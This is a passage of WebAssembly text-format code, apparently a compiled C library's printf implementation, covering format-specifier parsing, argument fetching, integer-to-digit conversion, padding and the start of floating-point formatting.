(br_if $B23
(i32.eqz
(call $f42
(i32.load8_s offset=1
(local.get $l13)))))
(br_if $B23
(i32.ne
(i32.load8_u offset=2
(local.tee $l13
(i32.load offset=76
(local.get $l7))))
(i32.const 36)))
(i32.store
(i32.add
(i32.add
(i32.shl
(i32.load8_s offset=1
(local.get $l13))
(i32.const 2))
(local.get $p4))
(i32.const -192))
(i32.const 10))
(local.set $p1
(i32.add
(local.get $l13)
(i32.const 3)))
(local.set $l19
(i32.load
(i32.add
(i32.add
(i32.shl
(i32.load8_s offset=1
(local.get $l13))
(i32.const 3))
(local.get $p3))
(i32.const -384))))
(local.set $l10
(i32.const 1))
(br $B22))
(br_if $B8
(local.get $l10))
(local.set $l10
(i32.const 0))
(local.set $l19
(i32.const 0))
(block $B24
(br_if $B24
(i32.eqz
(local.get $p0)))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(local.set $l19
(i32.load
(local.get $p1))))
(local.set $p1
(i32.add
(i32.load offset=76
(local.get $l7))
(i32.const 1))))
(i32.store offset=76
(local.get $l7)
(local.get $p1))
(br_if $B20
(i32.gt_s
(local.get $l19)
(i32.const -1)))
(local.set $l19
(i32.sub
(i32.const 0)
(local.get $l19)))
(local.set $l17
(i32.or
(local.get $l17)
(i32.const 8192)))
(br $B20))
(br_if $B3
(i32.lt_s
(local.tee $l19
(call $f49
(i32.add
(local.get $l7)
(i32.const 76))))
(i32.const 0)))
(local.set $p1
(i32.load offset=76
(local.get $l7))))
(local.set $l13
(i32.const 0))
(local.set $l20
(i32.const -1))
(block $B25
(block $B26
(br_if $B26
(i32.eq
(i32.load8_u
(local.get $p1))
(i32.const 46)))
(local.set $l21
(i32.const 0))
(br $B25))
(block $B27
(br_if $B27
(i32.ne
(i32.load8_u offset=1
(local.get $p1))
(i32.const 42)))
(block $B28
(block $B29
(br_if $B29
(i32.eqz
(call $f42
(i32.load8_s offset=2
(local.get $p1)))))
(br_if $B29
(i32.ne
(i32.load8_u offset=3
(local.tee $l15
(i32.load offset=76
(local.get $l7))))
(i32.const 36)))
(i32.store
(i32.add
(i32.add
(i32.shl
(i32.load8_s offset=2
(local.get $l15))
(i32.const 2))
(local.get $p4))
(i32.const -192))
(i32.const 10))
(local.set $p1
(i32.add
(local.get $l15)
(i32.const 4)))
(local.set $l20
(i32.load
(i32.add
(i32.add
(i32.shl
(i32.load8_s offset=2
(local.get $l15))
(i32.const 3))
(local.get $p3))
(i32.const -384))))
(br $B28))
(br_if $B8
(local.get $l10))
(block $B30
(block $B31
(br_if $B31
(local.get $p0))
(local.set $l20
(i32.const 0))
(br $B30))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(local.set $l20
(i32.load
(local.get $p1))))
(local.set $p1
(i32.add
(i32.load offset=76
(local.get $l7))
(i32.const 2))))
(i32.store offset=76
(local.get $l7)
(local.get $p1))
(local.set $l21
(i32.shr_u
(i32.xor
(local.get $l20)
(i32.const -1))
(i32.const 31)))
(br $B25))
(i32.store offset=76
(local.get $l7)
(i32.add
(local.get $p1)
(i32.const 1)))
(local.set $l21
(i32.const 1))
(local.set $l20
(call $f49
(i32.add
(local.get $l7)
(i32.const 76))))
(local.set $p1
(i32.load offset=76
(local.get $l7))))
(loop $L32
(local.set $l15
(local.get $l13))
(local.set $l22
(i32.const 28))
(br_if $B2
(i32.lt_u
(i32.add
(i32.load8_s
(local.get $p1))
(i32.const -123))
(i32.const -58)))
(i32.store offset=76
(local.get $l7)
(local.tee $l18
(i32.add
(local.get $p1)
(i32.const 1))))
(local.set $l13
(i32.load8_s
(local.get $p1)))
(local.set $p1
(local.get $l18))
(br_if $L32
(i32.lt_u
(i32.add
(local.tee $l13
(i32.load8_u
(i32.add
(i32.add
(local.get $l13)
(i32.mul
(local.get $l15)
(i32.const 58)))
(i32.const 1503))))
(i32.const -1))
(i32.const 8))))
(block $B33
(block $B34
(block $B35
(br_if $B35
(i32.eq
(local.get $l13)
(i32.const 27)))
(br_if $B2
(i32.eqz
(local.get $l13)))
(block $B36
(br_if $B36
(i32.lt_s
(local.get $l16)
(i32.const 0)))
(i32.store
(i32.add
(local.get $p4)
(i32.shl
(local.get $l16)
(i32.const 2)))
(local.get $l13))
(i64.store offset=64
(local.get $l7)
(i64.load
(i32.add
(local.get $p3)
(i32.shl
(local.get $l16)
(i32.const 3)))))
(br $B34))
(br_if $B5
(i32.eqz
(local.get $p0)))
(call $f50
(i32.add
(local.get $l7)
(i32.const 64))
(local.get $l13)
(local.get $p2)
(local.get $p6))
(local.set $l18
(i32.load offset=76
(local.get $l7)))
(br $B33))
(br_if $B2
(i32.gt_s
(local.get $l16)
(i32.const -1))))
(local.set $p1
(i32.const 0))
(br_if $L4
(i32.eqz
(local.get $p0))))
(local.set $l13
(select
(local.tee $l23
(i32.and
(local.get $l17)
(i32.const -65537)))
(local.get $l17)
(i32.and
(local.get $l17)
(i32.const 8192))))
(local.set $l17
(i32.const 0))
(local.set $l16
(i32.const 1061))
(local.set $l22
(local.get $l9))
(block $B37
(block $B38
(block $B39
(block $B40
(block $B41
(block $B42
(block $B43
(block $B44
(block $B45
(block $B46
(block $B47
(block $B48
(block $B49
(block $B50
(block $B51
(block $B52
(br_table $B48 $B6 $B6 $B6 $B6 $B6 $B6 $B6 $B6 $B38 $B6 $B37 $B46 $B38 $B38 $B38 $B6 $B46 $B6 $B6 $B6 $B6 $B50 $B47 $B49 $B6 $B6 $B43 $B6 $B51 $B6 $B6 $B48 $B52
(i32.add
(local.tee $p1
(select
(select
(i32.and
(local.tee $p1
(i32.load8_s
(i32.add
(local.get $l18)
(i32.const -1))))
(i32.const -33))
(local.get $p1)
(i32.eq
(i32.and
(local.get $p1)
(i32.const 15))
(i32.const 3)))
(local.get $p1)
(local.get $l15)))
(i32.const -88))))
(local.set $l22
(local.get $l9))
(block $B53
(br_table $B38 $B6 $B41 $B6 $B38 $B38 $B38 $B53
(i32.add
(local.get $p1)
(i32.const -65))))
(br_if $B42
(i32.eq
(local.get $p1)
(i32.const 83)))
(br $B7))
(local.set $l17
(i32.const 0))
(local.set $l16
(i32.const 1061))
(local.set $l24
(i64.load offset=64
(local.get $l7)))
(br $B45))
(local.set $p1
(i32.const 0))
(block $B54
(block $B55
(block $B56
(block $B57
(block $B58
(block $B59
(block $B60
(br_table $B60 $B59 $B58 $B57 $B56 $L4 $B55 $B54 $L4
(i32.and
(local.get $l15)
(i32.const 255))))
(i32.store
(i32.load offset=64
(local.get $l7))
(local.get $l11))
(br $L4))
(i32.store
(i32.load offset=64
(local.get $l7))
(local.get $l11))
(br $L4))
(i64.store
(i32.load offset=64
(local.get $l7))
(i64.extend_i32_s
(local.get $l11)))
(br $L4))
(i32.store16
(i32.load offset=64
(local.get $l7))
(local.get $l11))
(br $L4))
(i32.store8
(i32.load offset=64
(local.get $l7))
(local.get $l11))
(br $L4))
(i32.store
(i32.load offset=64
(local.get $l7))
(local.get $l11))
(br $L4))
(i64.store
(i32.load offset=64
(local.get $l7))
(i64.extend_i32_s
(local.get $l11)))
(br $L4))
(local.set $l20
(select
(local.get $l20)
(i32.const 8)
(i32.gt_u
(local.get $l20)
(i32.const 8))))
(local.set $l13
(i32.or
(local.get $l13)
(i32.const 8)))
(local.set $p1
(i32.const 120)))
(local.set $l12
(call $f51
(i64.load offset=64
(local.get $l7))
(local.get $l9)
(i32.and
(local.get $p1)
(i32.const 32))))
(local.set $l17
(i32.const 0))
(local.set $l16
(i32.const 1061))
(br_if $B44
(i64.eqz
(i64.load offset=64
(local.get $l7))))
(br_if $B44
(i32.eqz
(i32.and
(local.get $l13)
(i32.const 8))))
(local.set $l16
(i32.add
(i32.shr_u
(local.get $p1)
(i32.const 4))
(i32.const 1061)))
(local.set $l17
(i32.const 2))
(br $B44))
(local.set $l17
(i32.const 0))
(local.set $l16
(i32.const 1061))
(local.set $l12
(call $f52
(i64.load offset=64
(local.get $l7))
(local.get $l9)))
(br_if $B44
(i32.eqz
(i32.and
(local.get $l13)
(i32.const 8))))
(local.set $l20
(select
(local.get $l20)
(i32.add
(local.tee $p1
(i32.sub
(local.get $l9)
(local.get $l12)))
(i32.const 1))
(i32.gt_s
(local.get $l20)
(local.get $p1))))
(br $B44))
(block $B61
(br_if $B61
(i64.gt_s
(local.tee $l24
(i64.load offset=64
(local.get $l7)))
(i64.const -1)))
(i64.store offset=64
(local.get $l7)
(local.tee $l24
(i64.sub
(i64.const 0)
(local.get $l24))))
(local.set $l17
(i32.const 1))
(local.set $l16
(i32.const 1061))
(br $B45))
(block $B62
(br_if $B62
(i32.eqz
(i32.and
(local.get $l13)
(i32.const 2048))))
(local.set $l17
(i32.const 1))
(local.set $l16
(i32.const 1062))
(br $B45))
(local.set $l16
(select
(i32.const 1063)
(i32.const 1061)
(local.tee $l17
(i32.and
(local.get $l13)
(i32.const 1))))))
(local.set $l12
(call $f53
(local.get $l24)
(local.get $l9))))
(block $B63
(br_if $B63
(i32.eqz
(local.get $l21)))
(br_if $B3
(i32.lt_s
(local.get $l20)
(i32.const 0))))
(local.set $l13
(select
(i32.and
(local.get $l13)
(i32.const -65537))
(local.get $l13)
(local.get $l21)))
(block $B64
(br_if $B64
(i64.ne
(local.tee $l24
(i64.load offset=64
(local.get $l7)))
(i64.const 0)))
(br_if $B64
(local.get $l20))
(local.set $l12
(local.get $l9))
(local.set $l22
(local.get $l9))
(local.set $l20
(i32.const 0))
(br $B6))
(local.set $l20
(select
(local.get $l20)
(local.tee $p1
(i32.add
(i32.sub
(local.get $l9)
(local.get $l12))
(i64.eqz
(local.get $l24))))
(i32.gt_s
(local.get $l20)
(local.get $p1))))
(br $B7))
(local.set $l12
(select
(local.tee $p1
(i32.load offset=64
(local.get $l7)))
(i32.const 1378)
(local.get $p1)))
(local.set $l22
(i32.add
(local.get $l12)
(local.tee $p1
(call $f44
(local.get $l12)
(select
(local.get $l20)
(i32.const 2147483647)
(i32.lt_u
(local.get $l20)
(i32.const 2147483647)))))))
(block $B65
(br_if $B65
(i32.le_s
(local.get $l20)
(i32.const -1)))
(local.set $l13
(local.get $l23))
(local.set $l20
(local.get $p1))
(br $B6))
(local.set $l13
(local.get $l23))
(local.set $l20
(local.get $p1))
(br_if $B3
(i32.load8_u
(local.get $l22)))
(br $B6))
(block $B66
(br_if $B66
(i32.eqz
(local.get $l20)))
(local.set $l14
(i32.load offset=64
(local.get $l7)))
(br $B40))
(local.set $p1
(i32.const 0))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $l19)
(i32.const 0)
(local.get $l13))
(br $B39))
(i32.store offset=12
(local.get $l7)
(i32.const 0))
(i64.store32 offset=8
(local.get $l7)
(i64.load offset=64
(local.get $l7)))
(i32.store offset=64
(local.get $l7)
(i32.add
(local.get $l7)
(i32.const 8)))
(local.set $l20
(i32.const -1))
(local.set $l14
(i32.add
(local.get $l7)
(i32.const 8))))
(local.set $p1
(i32.const 0))
(block $B67
(loop $L68
(br_if $B67
(i32.eqz
(local.tee $l15
(i32.load
(local.get $l14)))))
(block $B69
(br_if $B69
(local.tee $l12
(i32.lt_s
(local.tee $l15
(call $f92
(i32.add
(local.get $l7)
(i32.const 4))
(local.get $l15)))
(i32.const 0))))
(br_if $B69
(i32.gt_u
(local.get $l15)
(i32.sub
(local.get $l20)
(local.get $p1))))
(local.set $l14
(i32.add
(local.get $l14)
(i32.const 4)))
(br_if $L68
(i32.gt_u
(local.get $l20)
(local.tee $p1
(i32.add
(local.get $l15)
(local.get $p1)))))
(br $B67)))
(br_if $B1
(local.get $l12)))
(local.set $l22
(i32.const 61))
(br_if $B2
(i32.lt_s
(local.get $p1)
(i32.const 0)))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $l19)
(local.get $p1)
(local.get $l13))
(block $B70
(br_if $B70
(local.get $p1))
(local.set $p1
(i32.const 0))
(br $B39))
(local.set $l15
(i32.const 0))
(local.set $l14
(i32.load offset=64
(local.get $l7)))
(loop $L71
(br_if $B39
(i32.eqz
(local.tee $l12
(i32.load
(local.get $l14)))))
(br_if $B39
(i32.gt_u
(local.tee $l15
(i32.add
(local.tee $l12
(call $f92
(i32.add
(local.get $l7)
(i32.const 4))
(local.get $l12)))
(local.get $l15)))
(local.get $p1)))
(call $f48
(local.get $p0)
(i32.add
(local.get $l7)
(i32.const 4))
(local.get $l12))
(local.set $l14
(i32.add
(local.get $l14)
(i32.const 4)))
(br_if $L71
(i32.lt_u
(local.get $l15)
(local.get $p1)))))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $l19)
(local.get $p1)
(i32.xor
(local.get $l13)
(i32.const 8192)))
(local.set $p1
(select
(local.get $l19)
(local.get $p1)
(i32.gt_s
(local.get $l19)
(local.get $p1))))
(br $L4))
(block $B72
(br_if $B72
(i32.eqz
(local.get $l21)))
(br_if $B3
(i32.lt_s
(local.get $l20)
(i32.const 0))))
(local.set $l22
(i32.const 61))
(br_if $L4
(i32.ge_s
(local.tee $p1
(call_indirect $__indirect_function_table (type $t12)
(local.get $p0)
(f64.load offset=64
(local.get $l7))
(local.get $l19)
(local.get $l20)
(local.get $l13)
(local.get $p1)
(local.get $p5)))
(i32.const 0)))
(br $B2))
(i64.store8 offset=55
(local.get $l7)
(i64.load offset=64
(local.get $l7)))
(local.set $l20
(i32.const 1))
(local.set $l12
(local.get $l8))
(local.set $l22
(local.get $l9))
(local.set $l13
(local.get $l23))
(br $B6))
(i32.store offset=76
(local.get $l7)
(local.tee $l14
(i32.add
(local.get $p1)
(i32.const 1))))
(local.set $l13
(i32.load8_u offset=1
(local.get $p1)))
(local.set $p1
(local.get $l14))
(br $L10))
(unreachable))
(br_if $B0
(local.get $p0))
(br_if $B5
(i32.eqz
(local.get $l10)))
(local.set $p1
(i32.const 1))
(block $B73
(loop $L74
(br_if $B73
(i32.eqz
(local.tee $l13
(i32.load
(i32.add
(local.get $p4)
(i32.shl
(local.get $p1)
(i32.const 2)))))))
(call $f50
(i32.add
(local.get $p3)
(i32.shl
(local.get $p1)
(i32.const 3)))
(local.get $l13)
(local.get $p2)
(local.get $p6))
(local.set $l11
(i32.const 1))
(br_if $L74
(i32.ne
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(i32.const 10)))
(br $B0))
(unreachable))
(local.set $l11
(i32.const 1))
(br_if $B0
(i32.ge_u
(local.get $p1)
(i32.const 10)))
(loop $L75
(br_if $B8
(i32.load
(i32.add
(local.get $p4)
(i32.shl
(local.get $p1)
(i32.const 2)))))
(local.set $l11
(i32.const 1))
(br_if $B0
(i32.eq
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(i32.const 10)))
(br $L75))
(unreachable))
(local.set $l22
(i32.const 28))
(br $B2))
(local.set $l22
(local.get $l9)))
(br_if $B3
(i32.gt_s
(local.tee $l20
(select
(local.get $l20)
(local.tee $l18
(i32.sub
(local.get $l22)
(local.get $l12)))
(i32.gt_s
(local.get $l20)
(local.get $l18))))
(i32.sub
(i32.const 2147483647)
(local.get $l17))))
(local.set $l22
(i32.const 61))
(br_if $B2
(i32.gt_s
(local.tee $p1
(select
(local.get $l19)
(local.tee $l15
(i32.add
(local.get $l17)
(local.get $l20)))
(i32.gt_s
(local.get $l19)
(local.get $l15))))
(local.get $l14)))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p1)
(local.get $l15)
(local.get $l13))
(call $f48
(local.get $p0)
(local.get $l16)
(local.get $l17))
(call $f54
(local.get $p0)
(i32.const 48)
(local.get $p1)
(local.get $l15)
(i32.xor
(local.get $l13)
(i32.const 65536)))
(call $f54
(local.get $p0)
(i32.const 48)
(local.get $l20)
(local.get $l18)
(i32.const 0))
(call $f48
(local.get $p0)
(local.get $l12)
(local.get $l18))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p1)
(local.get $l15)
(i32.xor
(local.get $l13)
(i32.const 8192)))
(br $L4)))
(local.set $l11
(i32.const 0))
(br $B0))
(local.set $l22
(i32.const 61)))
(i32.store
(call $__errno_location)
(local.get $l22)))
(local.set $l11
(i32.const -1)))
(global.set $g0
(i32.add
(local.get $l7)
(i32.const 80)))
(local.get $l11))
(func $f48 (type $t19) (param $p0 i32) (param $p1 i32) (param $p2 i32)
(block $B0
(br_if $B0
(i32.and
(i32.load8_u
(local.get $p0))
(i32.const 32)))
(drop
(call $f31
(local.get $p1)
(local.get $p2)
(local.get $p0)))))
(func $f49 (type $t0) (param $p0 i32) (result i32)
(local $l1 i32) (local $l2 i32) (local $l3 i32)
(local.set $l1
(i32.const 0))
(block $B0
(br_if $B0
(call $f42
(i32.load8_s
(i32.load
(local.get $p0)))))
(return
(i32.const 0)))
(loop $L1
(local.set $l2
(i32.load
(local.get $p0)))
(local.set $l3
(i32.const -1))
(block $B2
(br_if $B2
(i32.gt_u
(local.get $l1)
(i32.const 214748364)))
(local.set $l3
(select
(i32.const -1)
(i32.add
(local.tee $l3
(i32.add
(i32.load8_s
(local.get $l2))
(i32.const -48)))
(local.tee $l1
(i32.mul
(local.get $l1)
(i32.const 10))))
(i32.gt_s
(local.get $l3)
(i32.sub
(i32.const 2147483647)
(local.get $l1))))))
(i32.store
(local.get $p0)
(i32.add
(local.get $l2)
(i32.const 1)))
(local.set $l1
(local.get $l3))
(br_if $L1
(call $f42
(i32.load8_s offset=1
(local.get $l2)))))
(local.get $l3))
(func $f50 (type $t13) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32)
(block $B0
(block $B1
(block $B2
(block $B3
(block $B4
(block $B5
(block $B6
(block $B7
(block $B8
(block $B9
(block $B10
(block $B11
(block $B12
(block $B13
(block $B14
(block $B15
(block $B16
(block $B17
(block $B18
(br_table $B18 $B17 $B16 $B13 $B15 $B14 $B12 $B11 $B10 $B9 $B8 $B7 $B6 $B5 $B4 $B3 $B2 $B1 $B0
(i32.add
(local.get $p1)
(i32.const -9))))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i32.store
(local.get $p0)
(i32.load
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_s
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_s
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.and
(i32.add
(i32.load
(local.get $p2))
(i32.const 7))
(i32.const -8)))
(i32.const 8)))
(i64.store
(local.get $p0)
(i64.load
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load16_s
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load16_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load8_s
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load8_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.and
(i32.add
(i32.load
(local.get $p2))
(i32.const 7))
(i32.const -8)))
(i32.const 8)))
(i64.store
(local.get $p0)
(i64.load
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.and
(i32.add
(i32.load
(local.get $p2))
(i32.const 7))
(i32.const -8)))
(i32.const 8)))
(i64.store
(local.get $p0)
(i64.load
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.and
(i32.add
(i32.load
(local.get $p2))
(i32.const 7))
(i32.const -8)))
(i32.const 8)))
(i64.store
(local.get $p0)
(i64.load
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_s
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.load
(local.get $p2)))
(i32.const 4)))
(i64.store
(local.get $p0)
(i64.load32_u
(local.get $p1)))
(return))
(i32.store
(local.get $p2)
(i32.add
(local.tee $p1
(i32.and
(i32.add
(i32.load
(local.get $p2))
(i32.const 7))
(i32.const -8)))
(i32.const 8)))
(f64.store
(local.get $p0)
(f64.load
(local.get $p1)))
(return))
(call_indirect $__indirect_function_table (type $t7)
(local.get $p0)
(local.get $p2)
(local.get $p3))))
(func $f51 (type $t20) (param $p0 i64) (param $p1 i32) (param $p2 i32) (result i32)
(local $l3 i32)
(block $B0
(br_if $B0
(i64.eqz
(local.get $p0)))
(loop $L1
(i32.store8
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const -1)))
(i32.or
(i32.load8_u
(i32.add
(i32.and
(i32.wrap_i64
(local.get $p0))
(i32.const 15))
(i32.const 2032)))
(local.get $p2)))
(local.set $l3
(i64.gt_u
(local.get $p0)
(i64.const 15)))
(local.set $p0
(i64.shr_u
(local.get $p0)
(i64.const 4)))
(br_if $L1
(local.get $l3))))
(local.get $p1))
(func $f52 (type $t14) (param $p0 i64) (param $p1 i32) (result i32)
(local $l2 i32)
(block $B0
(br_if $B0
(i64.eqz
(local.get $p0)))
(loop $L1
(i32.store8
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const -1)))
(i32.or
(i32.and
(i32.wrap_i64
(local.get $p0))
(i32.const 7))
(i32.const 48)))
(local.set $l2
(i64.gt_u
(local.get $p0)
(i64.const 7)))
(local.set $p0
(i64.shr_u
(local.get $p0)
(i64.const 3)))
(br_if $L1
(local.get $l2))))
(local.get $p1))
(func $f53 (type $t14) (param $p0 i64) (param $p1 i32) (result i32)
(local $l2 i64) (local $l3 i32) (local $l4 i32) (local $l5 i32)
(block $B0
(block $B1
(br_if $B1
(i64.ge_u
(local.get $p0)
(i64.const 4294967296)))
(local.set $l2
(local.get $p0))
(br $B0))
(loop $L2
(i32.store8
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const -1)))
(i32.or
(i32.wrap_i64
(i64.sub
(local.get $p0)
(i64.mul
(local.tee $l2
(i64.div_u
(local.get $p0)
(i64.const 10)))
(i64.const 10))))
(i32.const 48)))
(local.set $l3
(i64.gt_u
(local.get $p0)
(i64.const 42949672959)))
(local.set $p0
(local.get $l2))
(br_if $L2
(local.get $l3))))
(block $B3
(br_if $B3
(i32.eqz
(local.tee $l3
(i32.wrap_i64
(local.get $l2)))))
(loop $L4
(i32.store8
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const -1)))
(i32.or
(i32.sub
(local.get $l3)
(i32.mul
(local.tee $l4
(i32.div_u
(local.get $l3)
(i32.const 10)))
(i32.const 10)))
(i32.const 48)))
(local.set $l5
(i32.gt_u
(local.get $l3)
(i32.const 9)))
(local.set $l3
(local.get $l4))
(br_if $L4
(local.get $l5))))
(local.get $p1))
(func $f54 (type $t21) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32)
(local $l5 i32)
(global.set $g0
(local.tee $l5
(i32.sub
(global.get $g0)
(i32.const 256))))
(block $B0
(br_if $B0
(i32.le_s
(local.get $p2)
(local.get $p3)))
(br_if $B0
(i32.and
(local.get $p4)
(i32.const 73728)))
(drop
(call $f41
(local.get $l5)
(i32.and
(local.get $p1)
(i32.const 255))
(select
(local.tee $p2
(i32.sub
(local.get $p2)
(local.get $p3)))
(i32.const 256)
(local.tee $p3
(i32.lt_u
(local.get $p2)
(i32.const 256))))))
(block $B1
(br_if $B1
(local.get $p3))
(loop $L2
(call $f48
(local.get $p0)
(local.get $l5)
(i32.const 256))
(br_if $L2
(i32.gt_u
(local.tee $p2
(i32.add
(local.get $p2)
(i32.const -256)))
(i32.const 255)))))
(call $f48
(local.get $p0)
(local.get $l5)
(local.get $p2)))
(global.set $g0
(i32.add
(local.get $l5)
(i32.const 256))))
(func $f55 (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (result i32)
(call $f46
(local.get $p0)
(local.get $p1)
(local.get $p2)
(i32.const 5)
(i32.const 6)))
(func $f56 (type $t12) (param $p0 i32) (param $p1 f64) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32) (result i32)
(local $l6 i32) (local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i32) (local $l20 i32) (local $l21 i32) (local $l22 i32) (local $l23 i32) (local $l24 i64) (local $l25 i64) (local $l26 f64)
(global.set $g0
(local.tee $l6
(i32.sub
(global.get $g0)
(i32.const 560))))
(local.set $l7
(i32.const 0))
(i32.store offset=44
(local.get $l6)
(i32.const 0))
(block $B0
(block $B1
(br_if $B1
(i64.gt_s
(local.tee $l24
(call $f58
(local.get $p1)))
(i64.const -1)))
(local.set $l8
(i32.const 1))
(local.set $l9
(i32.const 1071))
(local.set $l24
(call $f58
(local.tee $p1
(f64.neg
(local.get $p1)))))
(br $B0))
(block $B2
(br_if $B2
(i32.eqz
(i32.and
(local.get $p4)
(i32.const 2048))))
(local.set $l8
(i32.const 1))
(local.set $l9
(i32.const 1074))
(br $B0))
(local.set $l9
(select
(i32.const 1077)
(i32.const 1072)
(local.tee $l8
(i32.and
(local.get $p4)
(i32.const 1)))))
(local.set $l7
(i32.eqz
(local.get $l8))))
(block $B3
(block $B4
(br_if $B4
(i64.ne
(i64.and
(local.get $l24)
(i64.const 9218868437227405312))
(i64.const 9218868437227405312)))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.tee $l10
(i32.add
(local.get $l8)
(i32.const 3)))
(i32.and
(local.get $p4)
(i32.const -65537)))
(call $f48
(local.get $p0)
(local.get $l9)
(local.get $l8))
(call $f48
(local.get $p0)
(select
(select
(i32.const 1135)
(i32.const 1341)
(local.tee $l11
(i32.and
(local.get $p5)
(i32.const 32))))
(select
(i32.const 1139)
(i32.const 1345)
(local.get $l11))
(f64.ne
(local.get $p1)
(local.get $p1)))
(i32.const 3))
(call $f54
(local.get $p0)
(i32.const 32)
(local.get $p2)
(local.get $l10)
(i32.xor
(local.get $p4)
(i32.const 8192)))
(local.set $l12
(select
(local.get $l10)
(local.get $p2)
(i32.gt_s
(local.get $l10)
(local.get $p2))))
(br $B3))
(local.set $l13
(i32.add
(local.get $l6)
(i32.const 16)))
(block $B5
(block $B6
(block $B7
(block $B8
(br_if $B8
(f64.eq
(local.tee $p1
(f64.add
(local.tee $p1
(call $f45
(local.get $p1)
(i32.add
(local.get $l6)
(i32.const 44))))
(local.get $p1)))
(f64.const 0x0p+0 (;=0;))))
(i32.store offset=44
(local.get $l6)
(i32.add
(local.tee $l10
(i32.load offset=44
(local.get $l6)))
(i32.const -1)))
(br_if $B7
(i32.ne
(local.tee $l14
(i32.or
(local.get $p5)
(i32.const 32)))
(i32.const 97)))
(br $B5))
(br_if $B5
(i32.eq
(local.tee $l14
(i32.or
(local.get $p5)
(i32.const 32)))
(i32.const 97)))
(local.set $l15
(select
(i32.const 6)
(local.get $p3)
(i32.lt_s
(local.get $p3)
(i32.const 0))))
(local.set $l16
(i32.load offset=44
(local.get $l6)))
(br $B6))
(i32.store offset=44
(local.get $l6)
(local.tee $l16
(i32.add
(local.get $l10)
(i32.const -29))))
(local.set $l15
(select
(i32.const 6)
(local.get $p3)
(i32.lt_s
(local.get $p3)
(i32.const 0))))
(local.set $p1
(f64.mul
(local.get $p1)
(f64.const 0x1p+28 (;=2.68435e+08;)))))
(local.set $l11
(local.tee $l17
(select
(i32.add
(local.get $l6)
(i32.const 48))
(i32.add
(local.get $l6)
(i32.const 336))
(i32.lt_s
(local.get $l16)
(i32.const 0)))))
(loop $L9
(block $B10
(block $B11
(br_if $B11
(i32.eqz
(i32.and
(f64.lt
(local.get $p1)
(f64.const 0x1p+32 (;=4.29497e+09;)))
(f64.ge
(local.get $p1)
(f64.const 0x0p+0 (;=0;))))))
(local.set $l10
(i32.trunc_f64_u
(local.get $p1)))
(br $B10))
(local.set $l10
(i32.const 0)))
(i32.store
(local.get $l11)
(local.get $l10))
(local.set $l11
(i32.add
(local.get $l11)
(i32.const 4)))
(br_if $L9
(f64.ne
(local.tee $p1
(f64.mul
(f64.sub
(local.get $p1)
(f64.convert_i32_u
(local.get $l10)))
(f64.const 0x1.dcd65p+29 (;=1e+09;))))
(f64.const 0x0p+0 (;=0;)))))
(block $B12
(block $B13
(br_if $B13
(i32.ge_s
(local.get $l16)
(i32.const 1)))
(local.set $p3
(local.get $l16))
(local.set $l10
(local.get $l11))
(local.set $l18
(local.get $l17))
(br $B12))
(local.set $l18
(local.get $l17))
(local.set $p3
